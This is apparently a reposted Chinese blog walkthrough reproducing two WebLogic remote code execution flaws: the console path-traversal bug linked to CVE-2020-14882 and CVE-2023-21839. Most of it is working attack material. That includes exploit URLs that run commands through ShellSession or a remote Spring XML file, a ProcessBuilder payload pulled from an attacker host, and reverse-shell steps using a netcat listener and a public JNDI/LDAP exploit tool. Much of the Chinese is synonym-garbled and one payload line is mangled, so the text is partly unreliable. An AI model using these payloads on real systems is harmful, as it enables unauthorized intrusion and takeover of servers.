由于和14882毛病是一起爆的，所以影响版本一样。
WebLogic 10.3.6.0.0
WebLogic 12.1.3.0.0
WebLogic 12.2.1.3.0
WebLogic 12.2.1.4.0
WebLogic 14.1.1.0.0
[*] 毛病复现
[*] weblogic 12.2.1以上版本
/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
命令注入地方修改末了exec即可 touch%20/tmp/success1
缘故起因是：因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession 类，所以只能 weblogic 12.2.1以上版本使用
[*] 通杀方法
该方法需要构造一个xml文件
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><!]></value>
</list>
</constructor-arg>
</bean>
</beans>
把该文件放在weblogic能够访问的服务器上（缺点就是xml大概对于有waf限制的weblogic访问不到）
https://i-blog.csdnimg.cn/direct/55d53fecec814e019f2b521efc4ffc39.png
访问前检察一下确保不存在/tmp/success2文件
https://i-blog.csdnimg.cn/direct/acfb1ee136204b7a9a0c789c2a699fea.png
接着直接访问xml就会创建/tmp/success2文件
/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.29.161/a.xml")
https://i-blog.csdnimg.cn/direct/dd839e1e358c4fe086481f2389db0587.png
然后可以回到后台检察发现成功创建
https://i-blog.csdnimg.cn/direct/1364414d4e514c4890e44d6f664ee95b.png
因此可以通过该远程命令实行反弹shell
先监听
https://i-blog.csdnimg.cn/direct/f6b0d59215d2457dbab6fe1a38e6d465.png
然后在服务器上写上反弹shell的xml文件
https://i-blog.csdnimg.cn/direct/193b033909d549dd9b1631e05122e45e.png
然后在毛病网站访问：http://192.168.29.140:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22http://192.168.29.161/b.xml%22)
https://i-blog.csdnimg.cn/direct/e51121e236b64f18afe685ee5e497c1a.png
然后就可以发现已经成功拿到shell了
https://i-blog.csdnimg.cn/direct/e33341ba2de64cb698f92f9e65bb4456.png
未授权远程代码实行毛病(CVE-2023-21839)
[*]毛病原理
因为weblogic支持t3和iiop协议绑定远程对象，然后绑定的远程对象是ForeignOpaqueReferent的话，客户端通过jndi查询的时间，服务端其实是调用了远程对象的getRefernet函数举行实例化，然后在这个函数里面举行了lookup查找，查找的是remoteJNDIName，这个就是毛病点，我们可以通过反射机制修改这个remoteJNDIName，也就是说可以控制使用rmi或者ldap协议举行远程实行代码。
[*]影响版本
Weblogic 12.2.1.3.0
Weblogic 12.2.1.4.0
Weblogic 14.1.1.0.0
[*]毛病复现
首先对存在毛病的weblogic网站举行jndi监听
工具地址：https://github.com/ugnoeyh/Log4shell_JNDIExploit
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.29.140
https://i-blog.csdnimg.cn/direct/fa2077444cc440878d558baffdad411e.png
然后在你要吸取指令的机器上开启nc监听
https://i-blog.csdnimg.cn/direct/b7191bf4baca4348902b6259f83d7bc0.png
接着就是开启攻击了，使用exp工具：https://github.com/ASkyeye/CVE-2023-21839
./CVE-2023-21839 -ip <weblogic服务器ip> -port <weblogic端口> -ldap ldap://<你开启JNDI Ldap的ip>:1389/Basic/ReverseShell/<你nc监听的ip>/<nc监听端口>
注意：由于我JNDI开启的时间使用的是192.168.29.140，所以使用192.168.29.140，就算你是同一个机器上开启JNDI和exp工具的，在这个exp中的ldap中ip肯定要和JNDI的一致，别的nc的ip和port记得修改你监听着的。
./CVE-2023-21839 -ip 192.168.29.140 -port 7001 -ldap ldap://192.168.29.140:1389/Basic/ReverseShell/192.168.29.140/4445
两个都监听预备就绪后就可以攻击了，回车后可以看到很敏捷就拿到shell了
https://i-blog.csdnimg.cn/direct/aef5b774440542ce8788cb9ca4d115ba.png
https://i-blog.csdnimg.cn/direct/910cf7458650423aacf7496e8f53ee47.png
免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。
页:
[1]